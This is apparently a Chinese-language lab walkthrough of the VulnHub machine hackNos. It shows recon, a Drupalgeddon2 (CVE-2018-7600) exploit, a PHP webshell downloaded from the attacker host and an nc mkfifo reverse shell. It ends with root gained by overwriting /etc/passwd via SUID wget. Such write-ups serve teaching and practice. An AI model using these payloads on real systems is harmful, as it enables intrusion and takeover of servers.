目录
介绍
难度:容易 ——> 中
flag: 两个, 一个是普通用户的user.txt、另外一个是root用户的user.txt
靶机的地址:https://www.vulnhub.com/entry/hacknos-os-hacknos,401/
有的靶机可能打开无法获取IP,解决办法:Vulnhub靶机检测不到IP
流程图
信息收集
主机发现
发现目标:nmap -sn 192.168.40.0/24
信息探测:nmap -A -p- 192.168.40.137
目标只开放了80端口和22端口
方法1
网站探测
网站长这样
目录扫描
gobuster目录扫描
Gobuster是Kali Linux默认安装的一款暴力扫描工具。它是使用Go语言编写的命令行工具,具备优异的执行效率和并发性能。该工具支持对子域名和Web目录进行基于字典的暴力扫描。不同于其他工具,该工具支持同时多扩展名破解,适合采用多种后台技术的网站。实施子域名扫描时,该工具支持泛域名扫描,并允许用户强制继续扫描,以应对泛域名解析带来的影响。
工具的使用参见:https://blog.csdn.net/nzjdsds/article/details/86756828
gobuster dir -u http://192.168.40.137 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
发现目录/drupal
访问一下看看:
获取到了后台,是drupal一个php的内容管理系统。可以下载一个系统来查看他的后台有那些目录,或者去查找相关的目录。
查看drupal版本
访问 http://192.168.40.137/drupal/CHANGELOG.txt
看到是 Drupal 7.57
搜索EXP
搜索网上有没有关于这个版本的exp,搜到了,并且有相关CVE编号,可以通过搜索编号查看到更多漏洞相关信息
- 下载EXP
git clone https://github.com/pimps/CVE-2018-7600.git
下载下来之后发现里面有2个python文件,选择第一个试试,根据title信息知道是符合靶机的版本的
RCE-信息收集
这里是需要是答案
查看文件内容
python3 drupa7-CVE-2018-7600.py http://192.168.40.137/drupal/ -c "cat sites/default/settings.php"
* array(
* 'driver' => 'mysql',
* 'database' => 'databasename',
* 'username' => 'username',
* 'password' => 'password',
* 'host' => 'localhost',
* 'port' => 3306,
* 'prefix' => 'myprefix_',
* 'collation' => 'utf8_general_ci',
* );
收集到的信息先保存到本地,没准以后有用(实际没有用)
反弹shell
- kali本地准备一句话木马
<?php system($_POST['cmd']);?>
- kali开启web服务,方便靶机下载此木马文件
python3 -m http.server 80
- 靶机获取一句话木马
python3 drupa7-CVE-2018-7600.py http://192.168.40.137/drupal/ -c "wget http://192.168.40.129/yjh.php"
- 测试木马,没问题,可以运行
这里也可以换用bp,都行。
- 确认靶机上面有nc,那就用nc来反弹shell
- 使用如下命令,由于是POST方法提交,所以需要做url编码
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.40.129 9999 >/tmp/f
编码之后
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.40.129%209999%20%3E%2Ftmp%2Ff
- 反弹shell成功
如果希望获取完全交互式shell,参见之前的文章:https://www.yuque.com/u1881995/pborfs/vdg5x9#Mdjzh
目标1
目标1是拿到普通用户的user.txt,发现home目录下只有james,所以这唯一的普通用户就是目标1了。
获取james的账密
在shell的上级目录发现了alexander.txt
经过base64解码之后是个奇怪的东西
百度之后得知是一种加密方法,可以在线解密:https://www.splitbrain.org/services/ook
获得账号密码 james:Hacker@4514
切换身份
无论是shell中,还是ssh登录,都被拒绝。考虑怎么提权
方法2
网站探测
dirb 目录扫描
dirb http://192.168.40.137
使用dirb 的GUI 版本dirbuster进一步挖掘网站
dirbuster挖掘drupal目录
- 准备字典
使用kali自带的大字典:gzip -d /usr/share/wordlists/rockyou.txt.gz
- 配置dirbuster
扫到了一个看似有用的文件
访问一下,是一个经过base64编码的文件
获取账号密码
根据这串base64,经过解码,再对解码后的内容解密。获得账号密码 james:Hacker@4514
登录网站
发现drupal运行7.57
msf拿session
根据drupal版本,经过网络搜索得知其存在drupalgeddon2远程代码执行
search Drupalgeddon2
use exploit/unix/webapp/drupal_drupalgeddon2
set rhosts 192.168.40.137
set targeturi /drupal
run
提权
先看看能不能suid提权
find / -perm -u=s -type f 2>/dev/null
看到了wget,以及passwd。接下来的思路就是先把靶机的passwd文件搞过来,在其中创建一个新用户,然后把新的passwd文件还回去即可在靶机上获取一个高权限用户。
- 通过OpenSSL passwd生成一个新的用户hacker,密码为hack123
openssl passwd -1 -salt hack hack123
- 构造一下hack用户的 /etc/passwd的内容
hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0:root:/root:/bin/bash
注意:目标使用的是bash,不是zsh
- 把靶机的
/etc/passwd
复制一份到kali中
- 向靶机的
/etc/passwd
中追加一个新用户,追加到最后一行:
echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0:root:/root:/bin/bash' >> passwd
- 查看效果:
tail passwd
- kali开启web服务
python3 -m http.server 80
- 靶机下载新的passwd来替换旧的passwd
wget http://192.168.40.129/passwd -O /etc/passwd
成功替换
目标2
查看一下ssh,发现ssh防护做的很好,只需要把目录给增强一下即可。